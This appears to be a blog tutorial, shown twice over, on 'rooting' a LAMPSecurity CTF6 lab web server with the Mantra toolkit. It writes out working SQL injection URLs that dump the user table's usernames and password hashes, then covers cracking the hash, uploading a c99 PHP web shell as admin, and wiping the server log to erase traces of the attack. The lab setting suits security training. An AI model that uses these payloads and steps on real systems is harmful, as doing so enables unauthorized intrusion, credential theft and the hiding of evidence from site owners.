Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v36BfN48KhFNhF0ReGl15frF5LOijGTp9lUBLZjzPIvRad5xZnHQ23wxSgmgc3tNqUkw9V-O2Oxj1jl3jUytdk5faNhSS_C6z7XM1bPf1xKEwQrPQkwYRN8dKKL4SCBZmu-yDiwmQMKFaQaMCa4zzXfL5BDBwmTN5p4s6c99A6XUeu=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tgaVuqQ4NCN2uHqsuXmVLZzeD6i9ogxsXjnJs9AwN7Nmgby9giapZLz2i6701zWNWef73QogFJWBDwS-Wu0oRdI6bbngSotLHsGjU3SDfFA-7xdsJyl6diZl_KUT-kaIoFCSFZOyyqw0uH_UoIOdQT_y_kBMu9apuFUnGaWsDRAU5ERQ=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tQYkLNv79vCPFlmXE6Z951vshOnE0rvoqJKWgGbv6u-j5h2w4wq_UMyCYHEGzaGhuCghcDmwJI54qIxsCB1Vl4KLRnshLEW_-S1aZa4xJuifaJ1y2bygrudORfJlUZtOloH-VTjRXcrHHFN87rtH6yG2o_2D72Em3SFrxUteEhH68KNQ=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sHTd5IMiTgk3dkH5-z6e0Tlrav2y_hNE0CBBJwXRHuMAttsmRyfStSNx87H-Py1-s1BnRhOrw_WZU1qsOnD3emqPuJlvSE5cdBrVygXjGwg2oTN4VVe1gJSBDi7HnW2hOgONoyrfyFTpC-uiHHqlkJ4nZA5i_xJiunDhJ43SRAzlHeSg=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tkesTCrHlisMcceB0MapxRtd-qcPEgCRPEYuSvvT7jorWPRm5w_8DxNmvXZ70nc5MUigiw4LXyyrtvcx6XwOGR9HcltrJW1bJ4-KrbYhzv-7_vEqExGM1GAYn5BhJSzXe2URIHYZ5jptPxNeuOamlyExpFfCsE5p69gC2HOKeW9wSvhg=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uWDM6Tprb2-dscorysnmYdegSJEAyYa8Vrg7B-QPQND5ToHTE0s7zFfJicedLXM5ZlFKUN7EOucDg8tdWqHpAG79lyR5VDPFSffkOh967NVc50QOt0pth-NqYNnV4r-tzy6TrmLDNoicKW0l3bVQEAZihOjj3i2Z1hxtgfOzQnDGTf=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t1nLqAU1mUkgOHT-nRAyJ3ZsuGVcJWJQuUjqh9Ywua1ilZHJ4XoSxF2TfLfKSC64UiAVOAMNdcHJAtToHdiuKtVJ_SpXnIOPdohsLzLauHNwhLdrS_ir2t1aC8aTZYQ55YPDFfckUCpJuPBR-WS6tynM8b-VDhBdtH9P2428QsHG-BHMU=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tm40PpMpLvUrGOj_FnvmBxlfcxJbWBEbRoEWhP6AZRTPjyDd8t-Vu1eXKeU9A72txTOSnuGY0yaa2vArNJhO7QHBKRdvtuk9NEMNp1UVAyQjXlpIgIgbMrUE4TJvoWA3D_GEf2ouNf__nx7DP3uaddrLpvqVK7iHWPW3BqsbJ2v6ALt8c=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tvnskdgwKny1OZg4c0brufqiVubdj29zY5PTamtnxyBPOJdbWqts_qx1sYQLHN8q0BkSwy_2kzFLxW7yrw5ApXQy7Wi1QajR-o_M7fn7qksITNE2GZZLPeSBEunjw6mpkHwTCFm8TsEv8s_YOSCTkwX-r4u-wiFRjO1Obnm9WHxIzworE=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s8TNj-vB71Ur_lfprfXTk0qUHzjBBqlh3SEhoem9CkWDhru4HBvhSLqopjrHfdp0UZEZNFYubMGDnuxdbXz17XwV_Ow2QNeQM7w2RzTSZRucyH4GODWLg1aGZ-IuKa-oswDHcXJZuWDxiY8WSXxPEM3NIR234Nk3OdFB-WQOZWwb9pPqI=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t6WXqq4RVPRHqBoKL4v0vw_wvk08Cw7H3KmaCeMQhkoqwOeFPoCzrpzRm6xgXpyvuL6h7RUFbIOcj8w5iOmfegPBqPFmVMYz5nI8Pyf-NfjhiY5jVFpd8z-_1YGPiQMn3h1_cp4IWd4lXGh1f0IEvg-apInUxzl0suyKLc5lvMUsnHQA=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tXcYHbbCJ0sEw4d0u1_iqiPacJjHGtOtZpiiW3ZN9QYod_ACuhG0cLPI8DkblGwbC0bAnhvZfGG54wu_zvC3Y1DipSLUAqD3-iPqr8OMNmzRuaE-V4PctSpHD5AiEoI9CPMz5Tp4rTTyiViJyzkTKVDdjUSohHf91HukmQMTAaj2WCO-U=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tQxHWB0hQh7dukBA82NnD6iTuMjxHkchh0zkKUA3z1XTe57uDpEoEJWtI4TgbPva8q38FoU82UkWTVnVkueN2bhDbvJQv7JU010jCT7vtGrWlxF0CDwUgt_8bWChwEUa15eGtM5tkH6hxOdwpV9zW_ynojYuQODHrE2s7V8rxkSpUGAAA=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vumdXF9KfJgRHb35IvsrJr6kKLxpFcLq-ZbJ-yT1Xl-_ZuS_7P_Q23o16JAtmfD8HT8oZXsz2CMvkXmWyxCRS5gSMOxnJDlPLxwC-rCCyJ5jz0Zca3p0RKIbWkRGhRwYav6AsUSNYVQLqzSPLicxhs6bMI7Tynv4LTsR9GFwj96pEsCQ=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uNaJ7tROvp5dJoPDm2rTRDBdaxpiD1E4y0fThdLtSeuSXyuxACSCgvvzt-HirTzqLUEpj3BEAlFBODHWrTAoklxaV-zk1Lo59WT1xNvrDWay4W6l4HTO1uDgmujT2NBveg-Znh8MKdBnVpG6lHwI94aaLz7idJ7R4xdTC3hcALmEcNZg=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_skasJOVwQudRGdVSNCckKJMDjs-cBEu8e3dszWLgts6nsO5QPpgxr9uJc2cQpN_hz41-b0PanAX9z593ewc8m1h4inPgiyVZmTK_aOCuAnubahlC0py-3j8P1zQcHm7ChrkaNmdiz06QNfMzJyx47uc9RElof6323CQkApNvObmM8buY8=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_txANMOqknxHfF9h_FUx3IJ3aBshH3aYb5X3XyWbso9h-BKzw74iWvXkFEYHCOv5q-NV0m2MMOWTflzfbuZJZgG9e5d_XA54FPN7JdqRmGVQzi5ooqtc0W-DENhrG-V7ViqhaY1HnR-db7OqOy6D7Ikgs543ZZ4tqhCSFCc_j3sfUynR3o=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sXDeD1igBZbtEGpeXLD7OSCurWoQvyPVZdDod0cMqdPZTPBchIOgXjpGvPAAvvLzcx6hGJJR2vz_2RlINR92PMGT2E8pcPPvQswwwG3N_EU1J7eufHG6m1P3z2sa4XsHzXpqpRAsl9VozrdC7yDJqpkBlHtCosLE6q9k4iVfkdzfyWqCA=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_um_5IuAwb3L24Dsv99MaDyWTu_R00cqwWtaj5k99RBoX-EiaJFJHsoMk9qOHP3TPBdG-diPtHcjYiCiQU5qnG4uuQy-Ug72CjmirWZizEy39fYkRmi7XQeMm9kpuIGvI3SiChDB8Ttih2OhGClSGAQnKkSHsv1mqKOgnNmKNCzt8ioyh4=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vU_Hi2izb4TTvPeW0pt0AI04bdcJ5Bj4lijgYpnt-6wqCabRKLGBP42wDeJPX_BZIGiQKuXUrH_Ig-ratODaHk5v7esD_C7LWfE4PQReu7ML38B4yHHE000RAW9jNxFhov7JSspr5t2JzYeYJcfKLKDfyKEhijvxslJapggfn1KIMGwIc=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tRJtllcjWTzTkPCZJXM8CMpsvKZEkfSrfXcPi_IK-tGyVJkXWJXzFBNbkPwmt6k1g8870FSMNJ6wVmuvbUI1KmOzw5_1K1_DEeXZe9GOVEo0-a00JE05QG-yYgJbSzSqz4Dtt7P99Z-YEn8b9cEnOr7Mx_zqV1SYfqgZOjO8KhtYWeQrg=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uwAaqeqpWXeg1e3mcF0sQKGqwXNPXO23s5XgGjB7sO0rQB04w6VsSa6r9rlm1syK5UwF82K7wcQ1uYtfsRx-25E6-4GyT4mKIm5YbSmLdLhcW-y9eUm6awsrPlcCVXQihOaTlPx9ModwstOC_E6ldfTrhWPlZRFMSUSKxLm-hq4vLgYss=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tVJvrDsRznOI3yaU9hC_ojVx6HQwoQZvPJOV_HoDXM8PwTlQbOyWndNv8DL0mHF_P_aKFUElCwA3YgOjUVmiSoFvdnrGwuTv3-UcuZ51_jPEvsGvCfJ880ZtjjW8v8Fi94Ror8NgyUK3V6hhGLXUrYkEv1XZzfhBXJTJ2vYfY2WXF9tAE=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_shf8HRl7CnZ2mKTKPEo7F1ecjO-mfb6HZK_Mj61Knc1FjCW44RTDLuSaMdH8xa223zZ6gFBMCsFJXUsto9b_BXm24yPNToF3kAxQsg3-2iVbJ1oeA-DC0z6j4SGuZOQ0iAfczel02rlE77A127qf7NF98uc55fx7uUknmaBLyJfCCZ1Hs=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s6xGK5EEfl3k9KEZoZnPvWep31z7vje7rMRT-CflYznCOUX_uesOYVAh2d3CjlmIzzP5veLnlvIN95W300d6zki6F43XhqvDmrETkxl2b-VQUv_wTul8Al-pva8rZzZliX-9EmFmyFu1b_55a6GZ13UfCfZIZ_Ulvbt_an1NQcGm3K4A=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vGUA1dWVOJedrflXG26dJzQ3f9Sloxaq6iU1yXKjfQTaL1gPbYCPs7Fticq32eLcK2lixZbxze8KWYc2TXk6GQpvqNHGd8jip6eSNs5qzb1Q2EkVPv7Nk7N61micMv2C9TxRhE8g99Tb-kvL9qtMeDfKsozFaKTBr0TVgsaEROnbU0ZQ=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vDoW-Y4TUdbmVHk4ZvY9NqObV5IHGuW0UN4YO4E-nPqxEYMpkOwti4Fh-KoWqkrlUZqrIuSd-Kl1Qop9dCofWBc-sb-5rTKkdRC4OKwdW1S_U57Cj6qX8b110LhHmFvxhGERdvYMKIKQvxNaifYa12-IMxonbWDzXkKe5OO7FwtqOB468=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ta_INGbNZGcA4tc2CJahrmZBfVV0NN8UtXV-tqSTU6WAxQHWA9roQqV0zLERMPKPLoDVj2vRAYJU5BOYObQx4gLhEoqlZcElLKwqa5hu5dvJ4CLnageDFdDM3HIku1HI2l-Fy8eGuLwn7jBTOSvVRZyOKwx_Mxk_7hI_DHbhdYNp4AGtQ=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ts5E2kIENCPc88LK5BRbcE-QaUv5FsqD_pNixccm55oVH70negLXmXh0ZxnvgKBfVjq9R0LD8MIq5sQg--Ub9KmzRXEq2e20JsTK4E9G3r-9mUncL3vRjPnVWR7FkfZr2cO8LuOW9omg1xOnlXcppSWbQXBMXp03_u7FycAiOSyDuBSg=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sK6HLJlMuDTR80jH5SDAxA-bfXI-ti_HzWVwvmXL85MAN-5lmcTLFr_q66wF9pouUfF77HpYLkua9Vbfh9FZz4tPQTlxQGoCkbZL6qiAUzDrVk5EZE3jzvwEcckyVqbCFV7gYteAaXOa2Zj9lqquM-3m2mZnFjd2SHsbpj06dzeawIDtQ=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t9A-odGMKyrOGZV4q_w384tgNoButCkmHldOAZcOsO64VjIoq3tklxFaJ6hAC8Alyg2HmVALkbojpTaQlqalAPtk-KtgibWxX5uF3ZwpAMqvS0PNF3bgqCs7fRpAE420e-NsltgqIAa7gn0sPgrf4K64_EFmswr13HIZ1sS_yvdqFCDgk=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s7jcRZD9y2Lq4GCITQk4wb_HpZ2YVTtShkeNQ4ZrYVxZf6i63cWv4bDPy6fz-PugaZGLgoN5TIx494fk42d9eqn6xyEkNcGWxFHmdi8bnuEDhahDZ1d9QISQCwZmjLOsWeEVrImHAoI9tecbEvxxGhkQzVWYxO8JYLKgD7se9-yWzC6VU=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tLAC0YLDsE61f7x1eBaj_dgl_emV_fJETJfiteq9GTCuyBLEbX-ciBi1cIBIg41BeYduDF8-Tu0RWeOzD-I67EVzWkrzQzVSOMvX2sNcH91mkUW2fTQEPJrHxhYslwRTas-jmg2qRQqBCwYq9bckwaWR_SEBdXU324XTDZati6JGlapaU=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ulgWrSwt7bHHANDEaYcS6W2PSjVlpHcIVW_805DaSYEh6nUguFlDR9x_Wkeiw6gf05acI_Me0jfjuOPsZt2kHURC8xgw_xawukxIvOHHeOEuhgBKVszzKlI4HFQh-Pxdyl_e96eKzlXDxaOp8eBXpwfT8m8xCN4qFQ1I_Ak86RPnlP0zo=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tgq75YDVbf1-JNRptuuURbtcJd2t16uCCkKB3XoamgTNV6vjrB9S6kyx6mIrTd70rveoaZR01NNNYDF7GjZsAKdJBP4t6_TfG_cFBn2JhaBroxZfdRuT2g_sU6x7VEa4DrM4lFNF0qIxhhnKhclL4TT9c77jL7XtznIIMGzcQciIsrTP4=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uUSEfi7shuwcu3G7BN--_sHWgsf58e1cn6ueMLGgaUHPMsvONFa5Ss9SZPTrte2FAllLKf70T8Ljq8kM-OE0N4bzVAqXsHC5U3bnlSboeghooHDEFVDbCx2oHsYZrBQz5zVSGabQQ2RisIsKZAm2IZ-bYLX4oWYOpvenjfjcVhjfOhB5U=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vKptQ-jQyK5EUQBuGhkcIosrdoIDgF2_U44WIqncNRs4CDID9_CEiAsJZmgVEvjZrHX20wmWBonkbNdfah_hZwvW2h0Lwc9uyTie0l7-2o0eFC873MO3ilvZCaKx7xzz1SmU614Z-4X6n5S5kVM2CcWiJzetLM5CLJ9BQPidZngl8eLQ=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vpMsz9Co9JSdYvK9vnNM_TXcR5lRhFEPIZfJxZ3gpVRUtj_GGKEM0Pu0QguDqVQOS8Jbhi4vSBYrvk94bY9toLUV6Q5NAiu_ykqgxlONdevYyyHODSQWdm-Q-lPJjBAb8toODMgcEcFVwVgLd5NyE-HrBQr3JgsVLmFBnF2wWo7fVfIpU=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sjuhTSKtPf9kP3P2yTwrcLzGmnBZfPoZih3BGzceq4rQzZorRYb2i8HU_p_huVwBow_j9O66a_CCg0z1uPe4jGgdivI8JXjYE0IMSs4D16zY54GgT0HrEGnkbtzHt6BNewaKQEegEbSn0uflYsSiQsHSPgR1l-N2319ZQSqM0-7EeBIw=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vGwWQe94jXALPcpWazEgFubXHXQZuxabed0EyX6NE__5FgXO-MwS0YHcNuK3fGFGYsWPPuaAtooXf8BDB6TjbnU_5Ckhe4AF-zr_StCY_8FnCR6LuIszyDThcyZl7uLmOGqXAMkr46XUhA0b8GZA6ceU6G5mJgjLYX9WcTMnzhHWTqW-Q=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vpXsTw5OxeuVasCRzFhUdPMXwNsXj3z9GWRLXoWmfIUsuIVkC7SGUx36fcBL4l6lId0pBCfsotxYCeE9wRLuW7NsejCNbhO_YLc1LStE_hn96fSRoUwkdwcCee37pqCJbEu2h83XABFfD81BOPt_vQygR36zpspvK_h181p8tDi_JvWKI=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sJyqfttkLlnhqvJbPaYlAdvx2AXNCfSJzvgQbybKdfQoCHEDzn9by030pDrjvtxaHvGf0qq7JY3z7PN3nS8N1qObJZqGikQaOGlg5Oop9AVnAr_NSFbALWbFe1ucFkYRPodAYZ2kkoGi7Ii2MtVwZh_Rc6JS7ukm_GD9UCgMuosLlmBag=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sCYJ7iBdZbLK2TPjp11pKwOEJuJo9vT3tkWlAyn_tQKLmtA_vu7AZrq744HsDr8AkKJ1n3qJmiPuoqIpu5fExkGhpluCjC0Eud2iEl0cKQRZ6ry2eXWw0Yf8OIEK8f0mTEVIXOHpInQdznbQsm1zE1bwlWJUiqw0yMxFY-Jz-HtR4geBo=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uciGIQ0t-EFizFse-Ejf9jAA8hUy_2MvVTZ1zm-I-5ZraCtYUGYE7wvtIpB1Lb5vgDexu-TXRxauchiQp6zs4GTE7MR8MzrrxCpI8YErerf6ykN7iW8R15DBznrXY-7DX-wPV0d6RO2eXkeIimICHvmDlrmazTbAvV35a0zjpFkQh3wg=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ulAacXMdpPwSn1UGRgn7A4GnpxAdU15n5BZgb9a6Vt3mO4G7QtdICxYqaq4iwQAdxTPD6RYm9X2tX90B4lUwm0jJAsEvh9cSnYS09FCUF8yipW-Zh9TGQo4qQzG3WzA0fXezQOfLkAkIV1DWqJzRJmCJce9biRXjDGjEmjB0-8srOe0jQ=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7
Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7
Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,7
5.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tables
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns
Step 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'
Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from user
Step 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from user
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
This comment has been removed by a blog administrator.
ReplyDeleteHmmmok Nice share
ReplyDelete